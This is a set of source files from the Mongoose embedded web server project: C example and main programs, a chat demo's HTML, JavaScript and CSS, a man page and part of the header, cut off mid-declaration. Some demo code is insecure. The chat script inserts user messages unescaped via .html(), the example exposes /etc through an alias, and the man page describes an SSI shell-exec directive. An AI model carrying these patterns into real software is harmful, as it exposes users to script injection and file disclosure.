"value=\"set new value using GET method\"></form>");
mg_printf(conn, "%s",
"<form method=\"POST\">Enter new value: "
"<input type=\"text\" name=\"name1\"/>"
"<input type=\"submit\" "
"value=\"set new value using POST method\"></form>");
mg_printf(conn, "%s",
"<hr><li><a href=\"/secret\">"
"Protected page</a> (guest:guest)<hr>"
"<li><a href=\"/huge\">Output lots of data</a><hr>"
"<li><a href=\"" ALIAS_URI "/\">Aliased "
ALIAS_DIR " directory</a><hr>");
mg_printf(conn, "%s",
"<li><a href=\"/Makefile\">Regular file (Makefile)</a><hr>"
"<li><a href=\"/ssi_test.shtml\">SSI file "
"(ssi_test.shtml)</a><hr>"
"<li><a href=\"/users/joe/\">Wildcard URI example</a><hr>"
"<li><a href=\"/not-existent/\">Custom 404 handler</a><hr>");
host = mg_get_header(conn, "Host");
mg_printf(conn, "<li>'Host' header value: [%s]<hr>",
host ? host : "NOT SET");
mg_printf(conn, "<li>Upload file example. "
"<form method=\"post\" enctype=\"multipart/form-data\" "
"action=\"/post\"><input type=\"file\" name=\"file\">"
"<input type=\"submit\"></form>");
mg_printf(conn, "%s", "</body></html>");
}
/*
* This callback is attached to the URI "/post"
* It uploads file from a client to the server. This is the demostration
* of how to use POST method to send lots of data from the client.
* The uploaded file is saved into "uploaded.txt".
* This function is called many times during single request. To keep the
* state (how many bytes we have received, opened file etc), we allocate
* a "struct state" structure for every new connection.
*/
static void
show_post(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
const char *path = "uploaded.txt";
FILE *fp;
mg_printf(conn, "HTTP/1.0 200 OK\nContent-Type: text/plain\n\n");
/*
* Open a file and write POST data into it. We do not do any URL
* decoding here. File will contain form-urlencoded stuff.
*/
if ((fp = fopen(path, "wb+")) == NULL) {
(void) fprintf(stderr, "Error opening %s: %s\n",
path, strerror(errno));
} else if (fwrite(request_info->post_data,
request_info->post_data_len, 1, fp) != 1) {
(void) fprintf(stderr, "Error writing to %s: %s\n",
path, strerror(errno));
} else {
/* Write was successful */
(void) fclose(fp);
}
}
/*
* This callback function is attached to the "/secret" URI.
* It shows simple text message, but in order to be shown, user must
* authorized himself against the passwords file "passfile".
*/
static void
show_secret(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
mg_printf(conn, "%s", "Content-Type: text/html\r\n\r\n");
mg_printf(conn, "%s", "<html><body>");
mg_printf(conn, "%s", "<p>This is a protected page</body></html>");
}
/*
* This callback function is attached to the "/huge" URI.
* It outputs binary data to the client.
* The number of bytes already sent is stored directly in the arg->state.
*/
static void
show_huge(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
int i;
const char *line = "Hello, this is a line of text";
mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
mg_printf(conn, "%s", "Content-Type: text/plain\r\n\r\n");
for (i = 0; i < 1024 * 1024; i++)
mg_printf(conn, "%s\n", line);
}
/*
* This callback function is used to show how to handle 404 error
*/
static void
show_404(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
mg_printf(conn, "%s", "Content-Type: text/plain\r\n\r\n");
mg_printf(conn, "%s", "Oops. File not found! ");
mg_printf(conn, "%s", "This is a custom error handler.");
}
/*
* This callback function is attached to the wildcard URI "/users/.*"
* It shows a greeting message and an actual URI requested by the user.
*/
static void
show_users(struct mg_connection *conn,
const struct mg_request_info *request_info,
void *user_data)
{
mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
mg_printf(conn, "%s", "Content-Type: text/html\r\n\r\n");
mg_printf(conn, "%s", "<html><body>");
mg_printf(conn, "%s", "<h1>Hi. This is a wildcard uri handler"
"for the URI /users/*/ </h1>");
mg_printf(conn, "<h2>URI: %s</h2></body></html>", request_info->uri);
}
/*
* Make sure we have ho zombies from CGIs
*/
static void
signal_handler(int sig_num)
{
switch (sig_num) {
#ifndef _WIN32
case SIGCHLD:
while (waitpid(-1, &sig_num, WNOHANG) > 0) ;
break;
#endif /* !_WIN32 */
default:
break;
}
}
int main(int argc, char *argv[])
{
int data = 1234567;
struct mg_context *ctx;
/* Get rid of warnings */
argc = argc;
argv = argv;
#ifndef _WIN32
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, &signal_handler);
#endif /* !_WIN32 */
/*
* Initialize SHTTPD context.
* Attach folder c:\ to the URL /my_c (for windows), and
* /etc/ to URL /my_etc (for UNIX). These are Apache-like aliases.
* Set WWW root to current directory.
* Start listening on ports 8080 and 8081
*/
ctx = mg_start();
mg_set_option(ctx, "ssl_cert", "ssl_cert.pem");
mg_set_option(ctx, "aliases", ALIAS_URI "=" ALIAS_DIR);
mg_set_option(ctx, "ports", "8080,8081s");
/* Register an index page under two URIs */
mg_set_uri_callback(ctx, "/", &show_index, (void *) &data);
mg_set_uri_callback(ctx, "/abc.html", &show_index, (void *) &data);
/* Register a callback on wildcard URI */
mg_set_uri_callback(ctx, "/users/*/", &show_users, NULL);
/* Show how to use password protection */
mg_set_uri_callback(ctx, "/secret", &show_secret, NULL);
mg_set_option(ctx, "protect", "/secret=passfile");
/* Show how to use stateful big data transfer */
mg_set_uri_callback(ctx, "/huge", &show_huge, NULL);
/* Register URI for file upload */
mg_set_uri_callback(ctx, "/post", &show_post, NULL);
mg_set_error_callback(ctx, 404, show_404, NULL);
/* Wait until user presses 'enter' on console */
(void) getchar();
mg_stop(ctx);
return (EXIT_SUCCESS);
}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr">
<!-- This file is part of the Mongoose project,
http://code.google.com/p/mongoose -->
<head>
<title>Mongoose chat server</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<link type="text/css" rel="stylesheet" href="style.css"/>
<script src="jquery.js"></script>
<script src="main.js"></script>
</head>
<body>
<div id="header">
<div class="rounded infobox help-message">
Chat room implemented using
<a href="http://code.google.com/p/mongoose" target="_blank">Mongoose</a>
embeddable web server.
This application was written for educational purposes demonstrating
how web interface could be decoupled from the business logic. Not a
single line of HTML is generated by the server, instead, server
communicates data in JSON format using AJAX calls. Such chat server
could be used in your application as a collaboration tool.
</div>
</div>
<div id="middle">
<div><center><span id="error" class="rounded"></span><center></div>
<div id="menu">
<div class="menu-item left-rounded menu-item-selected"
name="chat">Chat</div>
<div class="menu-item left-rounded" name="settings">Settings</div>
</div>
<div id="content" class="rounded">
<div id="chat" class="main">
<div class="chat-window">
<span class="top-rounded chat-title">Main room</span>
<div class="bottom-rounded chat-content">
<div class="message-list" id="mml">
</div>
<input type="text" size="40" class="message-input"></input>
<span class="help-message">
Type your message here and press enter</span>
</div>
</div>
</div>
<div id="settings" class="hidden main">
<div>
<span class="top-rounded">Settings</span>
<div class="bottom-rounded">
</div>
</div>
</div>
</div>
</div>
<div id="footer">
Copyright &copy; 2004-2010 by Sergey Lyubka
</div>
</body>
</html>
This diff is collapsed.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr">
<!-- This file is part of the Mongoose project,
http://code.google.com/p/mongoose -->
<head>
<title>Mongoose chat: login</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<!--
Note that this page is self-sufficient, it does not load any other
CSS or Javascript file. This is done so because only this page is
allowed for non-authorized users. If we want to load other files
from the frontend, we need to change backend code to allow those
for non-authorized users. See chat.c :: must_authorize() function.
-->
</head>
<script>
window.onload = function() {
// Set correct action for the login form. We assume that the SSL port
// is the next one to insecure one.
var httpsPort = location.protocol.match(/https/) ? location.port :
parseInt(location.port) + 1;
document.forms[0].action = 'https://' + location.hostname + ':' +
httpsPort + '/authorize';
};
</script>
<body>
<center>
<h2>Mongoose chat server login</h2>
<div style="max-width: 30em;">
Username can be any string that consists of English letters only.
The password must be the same as username. Example:
username "joe", password "joe". Or, username "Bob", password "Bob".
</div>
<br/>
<form>
<input type="text" name="user"></input><br/>
<input type="text" name="password"></input><br/>
<input type="submit" value="Login"></input>
</form>
</center>
</body>
</html>
// This file is part of Mongoose project, http://code.google.com/p/mongoose
// $Id: main.js 514 2010-05-03 11:06:27Z valenok $
var chat = {
// Backend URL, string.
// 'http://backend.address.com' or '' if backend is the same as frontend
backendUrl: '',
maxVisibleMessages: 10,
errorMessageFadeOutTimeoutMs: 2000,
errorMessageFadeOutTimer: null,
lastMessageId: 0,
};
chat.refresh = function(data) {
$.each(data, function(index, entry) {
var row = $('<div>').addClass('message-row').appendTo('#mml');
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
$('<span>').addClass('message-timestamp').html(
'[' + timestamp + ']').prependTo(row);
$('<span>').addClass('message-user').html(entry.user + ':').appendTo(row);
$('<span>').addClass('message-text').html(entry.text).appendTo(row);
chat.lastMessageId = Math.max(chat.lastMessageId, entry.id) + 1;
});
// TODO(lsm): keep only chat.maxVisibleMessages, delete older ones.
/*
while ($('#mml').children().length < chat.maxVisibleMessages) {
$('#mml').children()[0].remove();
}
*/
};
chat.getMessages = function() {
$.ajax({
dataType: 'jsonp',
url: chat.backendUrl + '/ajax/get_messages',
data: {last_id: chat.lastMessageId},
success: chat.refresh,
error: function() {
},
});
};
chat.handleMenuItemClick = function(ev) {
$('.menu-item').removeClass('menu-item-selected'); // Deselect menu buttons
$(this).addClass('menu-item-selected'); // Select clicked button
$('.main').addClass('hidden'); // Hide all main windows
$('#' + $(this).attr('name')).removeClass('hidden'); // Show main window
};
chat.showError = function(message) {
$('#error').html(message).fadeIn('fast');
window.clearTimeout(chat.errorMessageFadeOutTimer);
chat.errorMessageFadeOutTimer = window.setTimeout(function() {
$('#error').fadeOut('slow');
}, chat.errorMessageFadeOutTimeoutMs);
};
chat.handleMessageInput = function(ev) {
var input = ev.target;
if (ev.keyCode != 13 || !input.value)
return;
input.disabled = true;
$.ajax({
dataType: 'jsonp',
url: chat.backendUrl + '/ajax/send_message',
data: {text: input.value},
success: function(ev) {
input.value = '';
input.disabled = false;
chat.getMessages();
},
error: function(ev) {
chat.showError('Error sending message');
input.disabled = false;
},
});
};
$(document).ready(function() {
$('.menu-item').click(chat.handleMenuItemClick);
$('.message-input').keypress(chat.handleMessageInput);
chat.getMessages();
});
// vim:ts=2:sw=2:et
/*
* vim:ts=2:sw=2:et:ai
*/
body {
font: 13px Arial; margin: 0.5em 1em;
}
.infobox {
background: #eed;
padding: 1px 1em;
}
.help-message {
color: #aaa;
}
#middle {
margin: 0.5em 0;
}
#error {
background: #c44;
color: white;
font-weight: bold;
}
#content, .menu-item-selected, .chat-title, .chat-content {
background: #c3d9ff;
}
#content {
overflow: hidden;
min-height: 7em;
padding: 1em;
}
.chat-title {
padding: 1px 1ex;
}
.chat-content {
padding: 1ex;
}
.chat-window {
}
.message-row {
margin: 2px;
border-bottom: 1px solid #bbb;
}
.message-timestamp {
color: #484;
}
.message-user {
margin-left: 0.5em;
font-weight: bold;
}
.message-text {
margin-left: 0.5em;
}
.main {
padding: 0.5em;
background: #e0ecff;
}
#menu {
margin-top: 1em;
min-width: 7em;
float: left;
}
#footer {
position: fixed;
bottom: 0;
right: 0;
color: #ccc;
padding: 0.5em;
}
.section {
clear: both;
}
.hidden {
display: none;
}
.menu-item {
cursor: pointer;
padding: 0.1em 0.5em;
}
.menu-item-selected {
font-weight: bold;
}
.message-list {
min-height: 1em;
background: white;
margin: 0.5em 0;
}
.rounded {
border-radius: 6px;
-moz-border-radius: 6px;
-webkit-border-radius: 6px;
}
.left-rounded {
border-radius: 6px 0 0 6px;
-moz-border-radius: 6px 0 0 6px;
-webkit-border-radius: 6px 0 0 6px;
}
.bottom-rounded {
border-radius: 0 0 6px 6px;
-moz-border-radius: 0 0 6px 6px;
-webkit-border-radius: 0 0 6px 6px;
}
.top-rounded {
border-radius: 6px 6px 0 0;
-moz-border-radius: 6px 6px 0 0;
-webkit-border-radius: 6px 6px 0 0;
}
/*
* Copyright (c) 2004-2009 Sergey Lyubka
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* $Id: main.c 518 2010-05-03 12:55:35Z valenok $
*/
#if defined(_WIN32)
#define _CRT_SECURE_NO_WARNINGS /* Disable deprecation warning in VS2005 */
#endif /* _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <winsvc.h>
#define DIRSEP '\\'
#define snprintf _snprintf
#if !defined(__LCC__)
#define strdup(x) _strdup(x)
#endif /* !MINGW */
#define sleep(x) Sleep((x) * 1000)
#else
#include <sys/wait.h>
#include <unistd.h> /* For pause() */
#define DIRSEP '/'
#endif /* _WIN32 */
static int exit_flag; /* Program termination flag */
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void
signal_handler(int sig_num)
{
#if !defined(_WIN32)
if (sig_num == SIGCHLD) {
do {
} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif /* !_WIN32 */
{
exit_flag = sig_num;
}
}
/*
* Show usage string and exit.
*/
static void
show_usage_and_exit(void)
{
mg_show_usage_string(stderr);
exit(EXIT_FAILURE);
}
/*
* Edit the passwords file.
*/
static int
mg_edit_passwords(const char *fname, const char *domain,
const char *user, const char *pass)
{
struct mg_context *ctx;
int retval;
ctx = mg_start();
(void) mg_set_option(ctx, "auth_realm", domain);
retval = mg_modify_passwords_file(ctx, fname, user, pass);
mg_stop(ctx);
return (retval);
}
static void
process_command_line_arguments(struct mg_context *ctx, char *argv[])
{
const char *config_file = CONFIG_FILE;
char line[512], opt[512], *vals[100],
val[512], path[FILENAME_MAX], *p;
FILE *fp;
size_t i, line_no = 0;
/* First find out, which config file to open */
for (i = 1; argv[i] != NULL && argv[i][0] == '-'; i += 2)
if (argv[i + 1] == NULL)
show_usage_and_exit();
if (argv[i] != NULL && argv[i + 1] != NULL) {
/* More than one non-option arguments are given */
show_usage_and_exit();
} else if (argv[i] != NULL) {
/* Just one non-option argument is given, this is config file */
config_file = argv[i];
} else {
/* No config file specified. Look for one where binary lives */
if ((p = strrchr(argv[0], DIRSEP)) != 0) {
(void) snprintf(path, sizeof(path), "%.*s%s",
(int) (p - argv[0]) + 1, argv[0], config_file);
config_file = path;
}
}
fp = fopen(config_file, "r");
/* If config file was set in command line and open failed, exit */
if (fp == NULL && argv[i] != NULL) {
(void) fprintf(stderr, "cannot open config file %s: %s\n",
config_file, strerror(errno));
exit(EXIT_FAILURE);
}
/* Reset temporary value holders */
(void) memset(vals, 0, sizeof(vals));
if (fp != NULL) {
(void) printf("Loading config file %s\n", config_file);
/* Loop over the lines in config file */
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
/* Ignore empty lines and comments */
if (line[0] == '#' || line[0] == '\n')
continue;
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
fprintf(stderr, "%s: line %d is invalid\n",
config_file, (int) line_no);
exit(EXIT_FAILURE);
}
if (mg_set_option(ctx, opt, val) != 1)
exit(EXIT_FAILURE);
}
(void) fclose(fp);
}
/* Now pass through the command line options */
for (i = 1; argv[i] != NULL && argv[i][0] == '-'; i += 2)
if (mg_set_option(ctx, &argv[i][1], argv[i + 1]) != 1)
exit(EXIT_FAILURE);
}
int
main(int argc, char *argv[])
{
struct mg_context *ctx;
char ports[1024], web_root[1024];
if (argc > 1 && argv[1][0] == '-' && argv[1][1] == 'A') {
if (argc != 6)
show_usage_and_exit();
exit(mg_edit_passwords(argv[2], argv[3], argv[4], argv[5]) ==
MG_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE);
}
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help")))
show_usage_and_exit();
#ifndef _WIN32
(void) signal(SIGCHLD, signal_handler);
#endif /* _WIN32 */
(void) signal(SIGTERM, signal_handler);
(void) signal(SIGINT, signal_handler);
if ((ctx = mg_start()) == NULL) {
(void) printf("%s\n", "Cannot initialize Mongoose context");
exit(EXIT_FAILURE);
}
process_command_line_arguments(ctx, argv);
(void) mg_get_option(ctx, "ports", ports, sizeof(ports));
if (ports[0] == '\0' &&
mg_set_option(ctx, "ports", "8080") != MG_SUCCESS)
exit(EXIT_FAILURE);
(void) mg_get_option(ctx, "ports", ports, sizeof(ports));
(void) mg_get_option(ctx, "root", web_root, sizeof(web_root));
(void) printf("Mongoose %s started on port(s) \"%s\", "
"serving directory \"%s\"\n", mg_version(), ports, web_root);
fflush(stdout);
while (exit_flag == 0)
sleep(1);
(void) printf("Exiting on signal %d, "
"waiting for all threads to finish...", exit_flag);
fflush(stdout);
mg_stop(ctx);
(void) printf("%s", " done.\n");
return (EXIT_SUCCESS);
}
.\" Process this file with
.\" groff -man -Tascii mongoose.1
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
.Dd Dec 1, 2008
.Dt mongoose 1
.Sh NAME
.Nm mongoose
.Nd lightweight web server
.Sh SYNOPSIS
.Nm
.Op Ar options
.Op Ar config_file
.Nm
.Fl A Ar htpasswd_file domain_name user_name password
.Sh DESCRIPTION
.Nm
is small, fast and easy to use web server with CGI, SSL, Digest Authorization
support.
.Pp
.Nm
does not detach from terminal, and uses current working directory
as the web root, unless
.Fl root
option is specified.
.Pp
It is possible to specify multiple ports to listen on. For example, to
make
.Nm
listen on HTTP port 80 and HTTPS port 443, one should start it as
.Dq mongoose -ssl_cert cert.pem -ports 80,443s .
.Pp
Options may be specified in any order, with one exception: if SSL listening
port is specified in the -ports option, then -ssl_cert option must be set
before -ports option.
.Pp
Unlike other web servers,
.Nm
does not expect CGI scripts to be put in a special directory. CGI scripts may
be anywhere. CGI files are recognized by the file extension.
.Pp
SSI files are also recognized by extension. Unknown SSI directives are silently
ignored. Currently, two SSI directives supported, "include" and "exec". For the
"include" directive, included file name can be specified in three different
ways. Below is the summary of supported SSI directives:
.Bl -bullet
.It
<!--#exec "shell command"--> Execute shell command.
.It
<!--#include "path"--> File path must be relative to the current document.
.It
<!--#include virtual="path"--> File path must be relative to the document root.
.It
<!--#include file="path"--> File path must be the absolute path.
.El
.Pp
.Nm
can use the configuration file. By default, it is "mongoose.conf", and if it
is present in the same directory where
.Nm
lives, the command line options are read from it. Alternatively, the
configuration file may be specified as a last argument. The format of the
configuration file is exactly the same as for the command line options, the
only difference is that the command line options must be specified on
separate lines, and leading dashes for option names must be omitted.
Lines beginning with '#' are regarded as comments and ignored.
.Pp
.Sh OPTIONS
.Bl -tag -width indent
.It Fl A Ar htpasswd_file domain_name user_name password
Add/edit user's password in the passwords file. Deleting users can be done
with any text editor. Functionality similar to Apache's
.Ic htdigest
utility.
.It Fl access_log Ar file
Access log file. Default: not set, no logging is done.
.It Fl acl Ar (+|-)x.x.x.x[/x],...
Specify access control list (ACL). ACL is a comma separated list
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
minus means deny. If subnet mask is
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
from 0 to 32 inclusive. On each request, full list is traversed, and
last match wins. Default: not set, allow all.
.It Fl admin_uri Ar uri
If set,
.Nm
creates special administrative URI where options may be changed at runtime.
This URI probably wants to be password-protected, look at
.Fl protect
option, and in the EXAMPLES section on how to do it. Default: not set.
.It Fl aliases Ar list
This options gives an ability to serve the directories outside web root
by sort of symbolic linking to certain URI. The
.Ar list
must be comma-separated list of URI=PATH pairs, like this:
"/etc/=/my_etc,/tmp=/my_tmp". Default: not set.
.It Fl auth_PUT Ar file
PUT and DELETE passwords file. This must be specified if PUT or
DELETE methods are used. Default: not set.
.It Fl auth_gpass Ar file
Location of global passwords file. When set, per-directory .htpasswd files are
ignored, and all accessed must be authorised against global passwords file.
Default: not set.
.It Fl auth_realm Ar domain_name
Authorization realm. Default: "mydomain.com".
.It Fl cgi_env Ar list
Pass environment variables to the CGI script in addition to standard ones.
The list must be comma-separated list of X=Y pairs, like this:
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: not set.
.It Fl cgi_ext Ar list
Comma-separated list of CGI extensions. All files having these extensions
are treated as CGI scripts. Default: "cgi,pl,php"
.It Fl cgi_interp Ar file
Force
.Ar file
to be a CGI interpreter for all CGI scripts. By default this option is not
set, and
.Nm
decides which interpreter to use by looking at the first line of CGI script.
.It Fl dir_list Ar yes|no
Enable/disable directory listing. Default: "1" (enabled).
.It Fl error_log Ar file
Error log file. Default: not set, no errors are logged.
.It Fl idle_time Ar num_seconds
Number of seconds worker thread waits for some work before exit. Default: 10
.It Fl index_files Ar list
Comma-separated list of files to be treated as directory index files.
Default: index.html,index.htm,index.cgi
.It Fl max_threads Ar number
Maximum number of worker threads to start. Default: 100
.It Fl mime_types Ar list
Additional to builtin mime types, in form
"extension1=type1,extension2=type2,...". Extension must include dot.
.It Fl ports Ar port_list
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
must be appeneded, for example, "-ports 80,443s" will open port 80 and port 443,
and connections on port 443 will be SSL-ed. It is possible to specify an
IP address to bind to. In this case, an IP address and a colon must be
prepended to the port number, for example, "-ports 127.0.0.1:8080". Note that
if SSL listening port is requested, then
.Fl ssl_cert
option must specified BEFORE
.Fl ports
option. Default: 8080
.It Fl protect Ar list
Comma separated list of URI=PATH pairs, specifying that given URIs
must be protected with respected password files. Default: not set.
.It Fl root Ar directory
Location of the WWW root directory. Default: working directory from which
.Nm
has been started.
.It Fl ssi_ext Ar list
Comma separated list of SSI extensions. Default: "shtml,shtm".
.It Fl ssl_cert Ar pem_file
Location of SSL certificate file. Default: not set.
.It Fl uid Ar login
Switch to given user after startup. Default: not set.
.El
.Pp
.Sh EMBEDDING
.Nm
was designed to be embeddable into C/C++ applications. Since the
source code is contained in single C file, it is fairly easy to embed it,
and to follow the updates. Please refer to http://code.google.com/p/mongoose
for details.
.Pp
.Sh EXAMPLES
.Bl -tag -width indent
.It Nm Fl root Ar /var/www Fl ssl_cert Ar /etc/cert.pem Fl ports Ar 8080,8043s Fl aliases Ar /aa=/tmp,/bb=/etc
Start listening on port 8080 for HTTP, and 8043 for HTTPS connections.
Use /etc/cert.pem as SSL certificate file. Web root is /var/www. In addition,
map directory /tmp to URI /aa, directory /etc to URI /bb.
.It Nm Fl acl Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
Deny connections from everywhere, allow only IP address 1.2.3.4 and
all IP addresses from 10.0.0.0/8 subnet to connect.
.It Nm Fl admin_uri Ar /ctl Fl protect Ar /ctl=/tmp/passwords.txt
Create an administrative URI "/ctl" where
options may be changed at runtime, and protect that URI with authorization.
.El
.Pp
.Sh COPYRIGHT
.Nm
is licensed under the terms of the MIT license.
.Sh AUTHOR
.An Sergey Lyubka Aq valenok@gmail.com .
This diff is collapsed.
/*
* Copyright (c) 2004-2009 Sergey Lyubka
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* $Id: mongoose.h 517 2010-05-03 12:54:59Z valenok $
*/
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
struct mg_context; /* Handle for the HTTP service itself */
struct mg_connection; /* Handle for the individual connection */
/*
* This structure contains full information about the HTTP request.
* It is passed to the user-specified callback function as a parameter.
*/
struct mg_request_info {
char *request_method; /* "GET", "POST", etc */
char *uri; /* Normalized URI */
char *http_version; /* E.g. "1.0", "1.1" */
char *query_string; /* \0 - terminated */
char *post_data; /* POST data buffer */
char *remote_user; /* Authenticated user */
char *log_message; /* Mongoose error log message */
long remote_ip; /* Client's IP address */
int remote_port; /* Client's port */
int post_data_len; /* POST buffer length */
int status_code; /* HTTP status code */
int is_ssl; /* 1 if SSL-ed, 0 if not */
int num_headers; /* Number of headers */
struct mg_header {
char *name; /* HTTP header name */
char *value; /* HTTP header value */
} http_headers[64]; /* Maximum 64 headers */
};
/*
* Error codes for all functions that return 'int'.
*/
enum mg_error_t {
MG_ERROR,
MG_SUCCESS,
MG_NOT_FOUND,
MG_BUFFER_TOO_SMALL
};
/*
* Start the web server.
*
* This must be the first function called by the application.
* It creates a serving thread, and returns a context structure that
* can be used to alter the configuration, and stop the server.
*/
struct mg_context *mg_start(void);
/*
* Stop the web server.
*
* Must be called last, when an application wants to stop the web server and
* release all associated resources. This function blocks until all Mongoose
* threads are stopped. Context pointer becomes invalid.
*/
void mg_stop(struct mg_context *);
/*
* Get the current value of a particular option.
*
* Return:
* MG_SUCCESS, MG_NOT_FOUND, MG_BUFFER_TOO_SMALL
*/
enum mg_error_t mg_get_option(struct mg_context *,
const char *option_name, char *buf, size_t buf_len);
/*
* Set a value for a particular option.
*
* Mongoose makes an internal copy of the option value string, which must be
* valid nul-terminated ASCII or UTF-8 string. It is safe to change any option
* at any time. The order of setting various options is also irrelevant with
* one exception: if "ports" option contains SSL listening ports, a "ssl_cert"
* option must be set BEFORE the "ports" option.
*
* Return:
* MG_ERROR, MG_SUCCESS, or MG_NOT_FOUND if option is unknown.
*/
enum mg_error_t mg_set_option(struct mg_context *,
const char *name, const char *value);
/*
* Add, edit or delete the entry in the passwords file.
*
* This function allows an application to manipulate .htpasswd files on the
* fly by adding, deleting and changing user records. This is one of the
* several ways of implementing authentication on the server side. For another,
* cookie-based way please refer to the examples/chat.c in the source tree.
*
* If password is not NULL, entry is added (or modified if already exists).
* If password is NULL, entry is deleted.
*
* Return:
* MG_ERROR, MG_SUCCESS
*/
enum mg_error_t mg_modify_passwords_file(struct mg_context *ctx,
const char *file_name, const char *user, const char *password);
/*
* Attach a callback function to certain event.
* Callback must return MG_SUCCESS or MG_ERROR.
*
* If callback returns MG_SUCCESS, that means that callback has processed the
* request by sending appropriate HTTP reply to the client. Mongoose treats
* the request as served.
*
* If callback returns MG_ERROR, that means that callback has not processed
* the request. Callback must not send any data to client in this case.
* Mongoose proceeds with request handling.
*
* NOTE: for MG_EVENT_SSL_PASSWORD event the callback must have
* int (*)(char *, int, int, void *) prototype. Refer to OpenSSL documentation
* for more details about the SSL password callback.
*/
enum mg_event_t {
MG_EVENT_NEW_REQUEST, /* New HTTP request has arrived */
MG_EVENT_HTTP_ERROR, /* Mongoose is about to send HTTP error */
MG_EVENT_LOG, /* Mongoose is about to log a message */
MG_EVENT_SSL_PASSWORD, /* SSL certificate needs verification */
NUM_EVENTS
};
typedef enum mg_error_t (*mg_callback_t)(struct mg_connection *,
const struct mg_request_info *);
void mg_set_callback(struct mg_context *, enum mg_event_t, mg_callback_t);
/*
* Send data to the client.
*/
int mg_write(struct mg_connection *, const void *buf, size_t len);
/*
* Send data to the browser using printf() semantics.
*
* Works exactly like mg_write(), but allows to do message formatting.
* Note that mg_printf() uses internal buffer of size IO_BUF_SIZE
* (8 Kb by default) as temporary message storage for formatting. Do not
* print data that is bigger than that, otherwise it will be truncated.
*/
int mg_printf(struct mg_connection *, const char *fmt, ...);
/*
* Read data from the remote or local end.
*/
int mg_read(struct mg_connection *, void *buf, size_t len);
/*
* Get the value of particular HTTP header.
*
* This is a helper function. It traverses request_info->http_headers array,
* and if the header is present in the array, returns its value. If it is
* not present, NULL is returned.
*/
const char *mg_get_header(const struct mg_connection *, const char *name);
/*
* Get a value of particular form variable.
*
* Either request_info->query_string or read POST data can be scanned.
* mg_get_qsvar() is convenience method to get variable from the query string.
* Destination buffer is guaranteed to be '\0' - terminated. In case of
* failure, dst[0] == '\0'.
*
* Return:
* MG_SUCCESS, MG_NOT_FOUND or MG_BUFFER_TOO_SMALL
*/
enum mg_error_t mg_get_var(const char *data, size_t data_len,
